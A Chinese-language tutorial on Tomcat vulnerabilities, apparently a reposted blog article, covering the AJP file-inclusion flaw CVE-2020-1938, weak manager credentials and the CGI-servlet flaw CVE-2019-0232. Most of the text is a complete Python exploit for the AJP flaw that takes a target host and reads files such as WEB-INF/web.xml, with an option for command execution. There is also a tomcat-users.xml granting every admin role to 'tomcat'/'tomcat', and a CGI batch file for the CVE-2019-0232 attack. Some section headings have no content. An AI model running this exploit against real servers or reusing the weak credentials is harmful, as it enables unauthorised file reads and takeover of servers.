一 前言

Tomcat介绍

Servlet介绍

Tomcat和servlet联系

Tomcat目录结构：

Tomcat配置文件

二 漏洞

任意文件写入（CVE-2017-12615）

补充：

-ti : 要等在容器内的命令执行完毕才会出来到当前操作; 没有加-ti就相当于在容器内执行一下命令,不等容器内部是否执行完毕直接出来

文件包含漏洞（CVE-2020-1938）+ getshell

Tomcat服务器通过Connector连接器组件与客户程序建立连接，Connector表示接收请求并返回响应的端点。即Connector组件负责接收客户的请求，以及把Tomcat服务器的响应结果发送给客户。

Tomcat默认的conf/server.xml中配置了2个Connector，一个为8080的对外提供的HTTP协议端口，另外一个就是默认的8009 AJP协议端口，用于处理 AJP 协议的请求，AJP比http更加优化，多用于反向、集群等。两个端口默认均监听在外网ip。

Ajp协议对应的配置为：

<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />

补充：

ajp13是一个二进制的TCP传输协议，相比HTTP这种纯文本的协议来说，效率和性能更高，也做了很多优化。但是浏览器不支持AJP13协议，只支持HTTP协议。通过Apache的proxy_ajp模块进行反向代理，暴露成http协议给客户端访问。

tomcat的配置大部分都是关闭AJP协议端口的，因为除了Apache之外别的http server几乎都不能反代AJP13协议

该脚本只支持python2，python3下面脚本语句要进行修改

1 self.socket.makefile("rb", bufsize=0) --> self.socket.makefile("rb", buffering=0)

2 print("".join([d.data for d in data])) -->print("".join([d.data.decode() for d in data]))

#!/usr/bin/env python
# CNVD-2020-10487  Tomcat-Ajp lfi
# by ydhcui
import struct
import io
import base64
# Some references:
# https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
def pack_string(s):
    if s is None:
        return struct.pack(">h", -1)
    l = len(s)
    return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)
def unpack(stream, fmt):
    size = struct.calcsize(fmt)
    buf = stream.read(size)
    return struct.unpack(fmt, buf)
def unpack_string(stream):
    size, = unpack(stream, ">h")
    if size == -1:  # null string
        return None
    res, = unpack(stream, "%ds" % size)
    stream.read(1)  # \0
    return res
class NotFoundException(Exception):
    pass
class AjpBodyRequest(object):
    # server == web server, container == servlet
    SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
    MAX_REQUEST_LENGTH = 8186
    def __init__(self, data_stream, data_len, data_direction=None):
        self.data_stream = data_stream
        self.data_len = data_len
        self.data_direction = data_direction
    def serialize(self):
        data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)
        if len(data) == 0:
            return struct.pack(">bbH", 0x12, 0x34, 0x00)
        else:
            res = struct.pack(">H", len(data))
            res += data
        if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:
            header = struct.pack(">bbH", 0x12, 0x34, len(res))
        else:
            header = struct.pack(">bbH", 0x41, 0x42, len(res))
        return header + res
    def send_and_receive(self, socket, stream):
        while True:
            data = self.serialize()
            socket.send(data)
            r = AjpResponse.receive(stream)
            while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:
                r = AjpResponse.receive(stream)
            if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:
                break
class AjpForwardRequest(object):
    _, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(
        28)
    REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE,
                       'TRACE': TRACE}
    # server == web server, container == servlet
    SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
    COMMON_HEADERS = ["SC_REQ_ACCEPT",
                      "SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE",
                      "SC_REQ_AUTHORIZATION",
                      "SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE",
                      "SC_REQ_COOKIE2",
                      "SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT"
                      ]
    ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert",
                  "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]
    def __init__(self, data_direction=None):
        self.prefix_code = 0x02
        self.method = None
        self.protocol = None
        self.req_uri = None
        self.remote_addr = None
        self.remote_host = None
        self.server_name = None
        self.server_port = None
        self.is_ssl = None
        self.num_headers = None
        self.request_headers = None
        self.attributes = None
        self.data_direction = data_direction
    def pack_headers(self):
        self.num_headers = len(self.request_headers)
        res = ""
        res = struct.pack(">h", self.num_headers)
        for h_name in self.request_headers:
            if h_name.startswith("SC_REQ"):
                code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1
                res += struct.pack("BB", 0xA0, code)
            else:
                res += pack_string(h_name)
            res += pack_string(self.request_headers[h_name])
        return res
    def pack_attributes(self):
        res = b""
        for attr in self.attributes:
            a_name = attr['name']
            code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1
            res += struct.pack("b", code)
            if a_name == "req_attribute":
                aa_name, a_value = attr['value']
                res += pack_string(aa_name)
                res += pack_string(a_value)
            else:
                res += pack_string(attr['value'])
        res += struct.pack("B", 0xFF)
        return res
    def serialize(self):
        res = ""
        res = struct.pack("bb", self.prefix_code, self.method)
        res += pack_string(self.protocol)
        res += pack_string(self.req_uri)
        res += pack_string(self.remote_addr)
        res += pack_string(self.remote_host)
        res += pack_string(self.server_name)
        res += struct.pack(">h", self.server_port)
        res += struct.pack("?", self.is_ssl)
        res += self.pack_headers()
        res += self.pack_attributes()
        if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:
            header = struct.pack(">bbh", 0x12, 0x34, len(res))
        else:
            header = struct.pack(">bbh", 0x41, 0x42, len(res))
        return header + res
    def parse(self, raw_packet):
        stream = io.StringIO(raw_packet)
        self.magic1, self.magic2, data_len = unpack(stream, "bbH")
        self.prefix_code, self.method = unpack(stream, "bb")
        self.protocol = unpack_string(stream)
        self.req_uri = unpack_string(stream)
        self.remote_addr = unpack_string(stream)
        self.remote_host = unpack_string(stream)
        self.server_name = unpack_string(stream)
        self.server_port = unpack(stream, ">h")
        self.is_ssl = unpack(stream, "?")
        self.num_headers, = unpack(stream, ">H")
        self.request_headers = {}
        for i in range(self.num_headers):
            code, = unpack(stream, ">H")
            if code > 0xA000:
                h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001]
            else:
                h_name = unpack(stream, "%ds" % code)
                stream.read(1)  # \0
            h_value = unpack_string(stream)
            self.request_headers[h_name] = h_value
    def send_and_receive(self, socket, stream, save_cookies=False):
        res = []
        i = socket.sendall(self.serialize())
        if self.method == AjpForwardRequest.POST:
            return res
        r = AjpResponse.receive(stream)
        assert r.prefix_code == AjpResponse.SEND_HEADERS
        res.append(r)
        if save_cookies and 'Set-Cookie' in r.response_headers:
            self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie']
        # read body chunks and end response packets
        while True:
            r = AjpResponse.receive(stream)
            res.append(r)
            if r.prefix_code == AjpResponse.END_RESPONSE:
                break
            elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK:
                continue
            else:
                raise NotImplementedError
                break
        return res
class AjpResponse(object):
    _, _, _, SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7)
    COMMON_SEND_HEADERS = [
        "Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified",
        "Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate"
    ]
    def parse(self, stream):
        # read headers
        self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb")
        if self.prefix_code == AjpResponse.SEND_HEADERS:
            self.parse_send_headers(stream)
        elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK:
            self.parse_send_body_chunk(stream)
        elif self.prefix_code == AjpResponse.END_RESPONSE:
            self.parse_end_response(stream)
        elif self.prefix_code == AjpResponse.GET_BODY_CHUNK:
            self.parse_get_body_chunk(stream)
        else:
            raise NotImplementedError
    def parse_send_headers(self, stream):
        self.http_status_code, = unpack(stream, ">H")
        self.http_status_msg = unpack_string(stream)
        self.num_headers, = unpack(stream, ">H")
        self.response_headers = {}
        for i in range(self.num_headers):
            code, = unpack(stream, ">H")
            if code <= 0xA000:  # custom header
                h_name, = unpack(stream, "%ds" % code)
                stream.read(1)  # \0
                h_value = unpack_string(stream)
            else:
                h_name = AjpResponse.COMMON_SEND_HEADERS[code - 0xA001]
                h_value = unpack_string(stream)
            self.response_headers[h_name] = h_value
    def parse_send_body_chunk(self, stream):
        self.data_length, = unpack(stream, ">H")
        self.data = stream.read(self.data_length + 1)
    def parse_end_response(self, stream):
        self.reuse, = unpack(stream, "b")
    def parse_get_body_chunk(self, stream):
        rlen, = unpack(stream, ">H")
        return rlen
    @staticmethod
    def receive(stream):
        r = AjpResponse()
        r.parse(stream)
        return r
import socket
def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
    fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
    fr.method = method
    fr.protocol = "HTTP/1.1"
    fr.req_uri = req_uri
    fr.remote_addr = target_host
    fr.remote_host = None
    fr.server_name = target_host
    fr.server_port = 80
    fr.request_headers = {
        'SC_REQ_ACCEPT': 'text/html',
        'SC_REQ_CONNECTION': 'keep-alive',
        'SC_REQ_CONTENT_LENGTH': '0',
        'SC_REQ_HOST': target_host,
        'SC_REQ_USER_AGENT': 'Mozilla',
        'Accept-Encoding': 'gzip, deflate, sdch',
        'Accept-Language': 'en-US,en;q=0.5',
        'Upgrade-Insecure-Requests': '1',
        'Cache-Control': 'max-age=0'
    }
    fr.is_ssl = False
    fr.attributes = []
    return fr
class Tomcat(object):
    def __init__(self, target_host, target_port):
        self.target_host = target_host
        self.target_port = target_port
        self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.socket.connect((target_host, target_port))
        self.stream = self.socket.makefile("rb", buffering=0)
    def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):
        self.req_uri = req_uri
        self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri,
                                                           method=AjpForwardRequest.REQUEST_METHODS.get(method))
        print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
        if user is not None and password is not None:
            self.forward_request.request_headers[
                'SC_REQ_AUTHORIZATION'] = f'Basic {base64.b64encode(f"{user}:{password}".encode()).decode()}'
        for h in headers:
            self.forward_request.request_headers[h] = headers[h]
        for a in attributes:
            self.forward_request.attributes.append(a)
        responses = self.forward_request.send_and_receive(self.socket, self.stream)
        if len(responses) == 0:
            return None, None
        snd_hdrs_res = responses[0]
        data_res = responses[1:-1]
        if len(data_res) == 0:
            print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers)
        return snd_hdrs_res, data_res
'''
javax.servlet.include.request_uri
javax.servlet.include.path_info
javax.servlet.include.servlet_path
'''
import argparse
parser = argparse.ArgumentParser()
parser.add_argument("target", type=str, help="Hostname or IP to attack")
parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")
parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")
parser.add_argument('--rce', type=bool, default=False, help="read file(default) or exec command")
args = parser.parse_args()
t = Tomcat(args.target, args.port)
_, data = t.perform_request(f'/hissec{".jsp" if args.rce else ""}', attributes=[
    {'name': 'req_attribute', 'value': ['javax.servlet.include.request_uri', '/']},
    {'name': 'req_attribute', 'value': ['javax.servlet.include.path_info', args.file]},
    {'name': 'req_attribute', 'value': ['javax.servlet.include.servlet_path', '/']},
])
print('----------------------------')
print(''.join([d.data.decode('utf_8') for d in data]))

弱密码

docker安装vim出现的问题：(21条消息) Docker容器里的vi/vim命令安装_junmxiao-js的博客-CSDN博客

• manager（后台管理）
• manager-gui拥有html页面权限
• manager-status拥有查看status的权限
• manager-script拥有text接口权限（包括status权限）
• manager-jmx拥有jmx权限（包括status权限）
• host-manager（虚拟主机管理）
• admin-gui拥有html页面权限
• admin-script拥有text接口权限

<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">
    <role rolename="manager-gui"/>
    <role rolename="manager-script"/>
    <role rolename="manager-jmx"/>
    <role rolename="manager-status"/>
    <role rolename="admin-gui"/>
    <role rolename="admin-script"/>
    <user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />
    </tomcat-users>

war包是用来进行Web开发时一个网站项目下的所有代码,包括前台HTML/CSS/JS代码,以及后台JavaWeb的代码。

Tomcat 远程代码执行（CVE-2019-0232）

<servlet>
<servlet-name>cgi</servlet-name>
<servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
 <param-name>cgiPathPrefix</param-name>
 <param-value>WEB-INF/cgi-bin</param-value>
</init-param>
<init-param>
 <param-name>enableCmdLineArguments</param-name>
 <param-value>true</param-value>
</init-param>
<init-param>
<param-name>executable</param-name>
<param-value></param-value>
</init-param>
<load-on-startup>5</load-on-startup>
</servlet>

@echo off
echo Content-Type: test/plain
echo.
set foo=&~1
%foo%

侵权请私聊公众号删文